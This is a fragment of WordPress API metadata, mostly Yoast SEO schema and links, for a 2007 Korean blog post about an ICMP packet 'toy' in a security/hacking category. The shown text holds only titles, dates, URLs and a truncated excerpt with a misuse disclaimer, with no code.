\uc7a5\ub09c\uac10\",\"datePublished\":\"2007-07-20T15:39:37+00:00\",\"dateModified\":\"2013-09-12T23:37:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85\"},\"wordCount\":58,\"commentCount\":0,\"keywords\":[\"ICMP\",\"icmp_toy\"],\"articleSection\":[\"C\\\/C++\",\"Security\\\/Hacking\"],\"inLanguage\":\"ko-KR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85\",\"name\":\"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 - Apollo89.com\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#website\"},\"datePublished\":\"2007-07-20T15:39:37+00:00\",\"dateModified\":\"2013-09-12T23:37:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/93f56825cac3b2f18e5f107995066c82\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85#breadcrumb\"},\"inLanguage\":\"ko-KR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\ud648\",\"item\":\"https:\\\/\\\/apollo89.com\\\/wordpress\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#website\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/\",\"name\":\"Apollo89.com\",\"description\":\"\uc544\ud3f4\ub85c\uc528\uc758 \uc7a1\ub2e4\ud55c \uacbd\ud5d8\ub4e4..\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"ko-KR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/93f56825cac3b2f18e5f107995066c82\",\"name\":\"apollo89\",\"description\":\"\uc544\ud3f4\ub85c89 \uc785\ub2c8\ub2e4.\",\"url\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 - Apollo89.com","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/apollo89.com\/wordpress\/?p=85","og_locale":"ko_KR","og_type":"article","og_title":"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 - Apollo89.com","og_description":"&nbsp; Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. ######################################################################### # ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 # # \uae00\uc4f4\uc774 : \ub178\uad11\ubbfc # email : dalgu2@orgio.net &hellip; Continue reading &rarr;","og_url":"https:\/\/apollo89.com\/wordpress\/?p=85","og_site_name":"Apollo89.com","article_published_time":"2007-07-20T15:39:37+00:00","article_modified_time":"2013-09-12T23:37:00+00:00","author":"apollo89","twitter_card":"summary_large_image","twitter_misc":{"\uae00\uc4f4\uc774":"apollo89","\uc608\uc0c1 \ub418\ub294 \ud310\ub3c5 \uc2dc\uac04":"4\ubd84"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/apollo89.com\/wordpress\/?p=85#article","isPartOf":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=85"},"author":{"name":"apollo89","@id":"https:\/\/apollo89.com\/wordpress\/#\/schema\/person\/93f56825cac3b2f18e5f107995066c82"},"headline":"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10","datePublished":"2007-07-20T15:39:37+00:00","dateModified":"2013-09-12T23:37:00+00:00","mainEntityOfPage":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=85"},"wordCount":58,"commentCount":0,"keywords":["ICMP","icmp_toy"],"articleSection":["C\/C++","Security\/Hacking"],"inLanguage":"ko-KR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/apollo89.com\/wordpress\/?p=85#respond"]}]},{"@type":"WebPage","@id":"https:\/\/apollo89.com\/wordpress\/?p=85","url":"https:\/\/apollo89.com\/wordpress\/?p=85","name":"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 - Apollo89.com","isPartOf":{"@id":"https:\/\/apollo89.com\/wordpress\/#website"},"datePublished":"2007-07-20T15:39:37+00:00","dateModified":"2013-09-12T23:37:00+00:00","author":{"@id":"https:\/\/apollo89.com\/wordpress\/#\/schema\/person\/93f56825cac3b2f18e5f107995066c82"},"breadcrumb":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=85#breadcrumb"},"inLanguage":"ko-KR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/apollo89.com\/wordpress\/?p=85"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/apollo89.com\/wordpress\/?p=85#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\ud648","item":"https:\/\/apollo89.com\/wordpress"},{"@type":"ListItem","position":2,"name":"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10"}]},{"@type":"WebSite","@id":"https:\/\/apollo89.com\/wordpress\/#website","url":"https:\/\/apollo89.com\/wordpress\/","name":"Apollo89.com","description":"\uc544\ud3f4\ub85c\uc528\uc758 \uc7a1\ub2e4\ud55c \uacbd\ud5d8\ub4e4..","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/apollo89.com\/wordpress\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ko-KR"},{"@type":"Person","@id":"https:\/\/apollo89.com\/wordpress\/#\/schema\/person\/93f56825cac3b2f18e5f107995066c82","name":"apollo89","description":"\uc544\ud3f4\ub85c89 \uc785\ub2c8\ub2e4.","url":"https:\/\/apollo89.com\/wordpress\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/85","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=85"}],"version-history":[{"count":0,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/85\/revisions"}],"wp:attachment":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=85"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=85"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=85"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}